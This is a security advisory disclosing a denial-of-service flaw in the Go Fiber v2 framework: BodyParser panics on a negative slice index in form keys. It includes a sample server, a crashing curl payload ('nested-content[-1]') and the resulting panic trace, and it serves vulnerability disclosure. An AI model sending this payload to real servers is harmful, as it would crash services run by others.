GHSA-hg3g-gphw-5hhm

### Summary When using the `fiber.Ctx.BodyParser` to parse into a struct with range values, a panic occurs when trying to parse a negative range index

### Details `fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.

Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser` functionality

### Reproducing Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData ```go package main

import ( "encoding/json" "fmt" "net/http"

"github.com/gofiber/fiber/v2" )

type RequestBody struct { NestedContent []*struct { Value string `form:"value"` } `form:"nested-content"` }

func main() { app := fiber.New()

app.Post("/", func(c *fiber.Ctx) error { formData := RequestBody{} if err := c.BodyParser(&formData); err != nil { fmt.Println(err) return c.SendStatus(http.StatusUnprocessableEntity) } c.Set("Content-Type", "application/json") s, _ := json.Marshal(formData) return c.SendString(string(s)) })

fmt.Println(app.Listen(":3000")) }

```

**Correct Behaviour** Send a valid request such as: ```bash curl --location 'localhost:3000' \ --form 'nested-content[0].value="Foo"' \ --form 'nested-content[1].value="Bar"' ``` You recieve valid JSON ```json {"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]} ```

**Crashing behaviour** Send an invalid request such as: ```bash curl --location 'localhost:3000' \ --form 'nested-content[-1].value="Foo"' ``` The server panics and crashes ``` panic: reflect: slice index out of range

goroutine 8 [running]: reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?) /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167 github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...}) [...] ```

### Impact Anyone using `fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent